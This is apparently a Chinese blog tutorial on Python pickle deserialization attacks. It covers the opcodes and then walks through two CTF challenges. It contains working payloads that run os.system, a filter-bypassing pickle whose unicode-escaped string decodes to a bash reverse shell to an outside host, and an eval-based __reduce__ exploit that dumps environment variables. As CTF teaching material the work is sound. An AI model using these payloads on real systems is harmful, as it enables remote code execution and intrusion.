文章目录
- 基础知识
- pickle简介
- 可序列化对象
- `object.__reduce__()` 函数
- pickle过程详细解读
- opcode简介
- pickletools
- 漏洞利用
- 利用思路
- 如何手写opcode
- 工具pker
- 实战例题
- [MTCTF 2022]easypickle
- [HZNUCTF 2023 preliminary]pickle
基础知识
pickle简介
- 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
- python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
- 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
- pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
可序列化对象
- None,True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple(元组)、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__
属性值或__getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
object.__reduce__()
函数
- 在开发时,可以通过重写类的
object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求object.__reduce__()
返回一个(callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。 - 在下文pickle的opcode中, R 的作用与
object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应object.__reduce__()
函数,object.__reduce__()
的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。
pickle过程详细解读
pickle解析依靠Pickle Virtual Machine (PVM)进行。
PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.
停止。最终留在栈顶的值将被作为反序列化对象返回。 - 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
- memo:由Python的dict实现,为PVM的生命周期提供存储。简单理解就是将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。
opcode简介
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。
pickle0版本的部分opcode表格:
Opcode | Data type loaded onto the stack | Example |
---|---|---|
S | String | S’foo’\n |
V | Unicode | Vfo\u006f\n |
I | Integer | I42\n |
… | … | … |
pickletools
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
示例
import pickletoolsopcode=b'''cos
system
(S'whoami'
tR.'''print(pickletools.dis(opcode))
print(opcode)
运行结果
漏洞利用
利用思路
- 任意代码执行或命令执行。
- 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。
如何手写opcode
- 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。 - 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
- 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。
常用opcode解析
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
由这些opcode我们可以得到一些需要注意的地方:
- 编写opcode时要想象栈中的数据,以正确使用每种opcode。
- 在理解时注意与python本身的操作对照(比如python列表的
append
对应a
、extend
对应e
;字典的update
对应u
)。 c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。- pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。 s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。
函数执行
与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从三个方向进行构造:
1.R
:
b'''cos
system
(S'whoami'
tR.'''
调用os模块的system函数,传入执行命令。
解释一下,首先是c操作符调用os模块的system函数,接着MARK标记入栈,实例化字符串whoami
,运用t操作符寻找栈中的上一个MARK(也就是(
),并组合之间的数据为元组,然后使用R操作符选择栈上的第一个对象作为函数、第二个对象作为参数命令执行
2.i
:
b'''(S'whoami'
ios
system
.'''
运用i操作符,具体可看前文opcode表格
3.o
:
b'''(cos
system
S'whoami'
o.'''
本文参考文章:链接
工具pker
不同系统生成的payload不一样,所以根据具体需求进行使用
实战例题
[MTCTF 2022]easypickle
pickle反序列化源码
try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"
except:return "error!"
首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化
这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode
payload
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''//pickletools转换一下0: ( MARK 先传入一个标志到堆栈上,1: S STRING 'key1' 给栈添加一行string类型数据key19: S STRING 'val1' 给栈添加一行string数据val117: d DICT (MARK at 0) 将堆栈里面的所有数据取出然后组成字典放入堆栈18: S STRING 'vul' 放入一个string类型数据vul25: ( MARK 再传入一个标志26: c GLOBAL 'os system' c操作码提取下面的两行作为module下的一个全局对象此时就是os.system37: V UNICODE 'calc' 读入一个字符串,以\n结尾;然后把这个字符串压进栈中43: o OBJ (MARK at 25) o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))44: s SETITEM 从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上45: . STOP
本题需要反弹shell,但是语句里面存在字符i,我们利用V操作符识别\u
的特性,将语句unicode编码一下即可
import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))
[HZNUCTF 2023 preliminary]pickle
打开题目,直接给了源码
import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')
分析一下,给了两个路由
- /calc路由提供GET参数payload,然后pickle反序列化,并且过滤了关键字os,我们可以用拼接绕过
- /readFile路由提供GET参数filename,对其读取文件
exp(flag在环境变量中)
import pickle
import base64class A():def __reduce__(self):return (eval,("__import__('o'+'s').system('env | tee a')",))a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
然后读取得到flag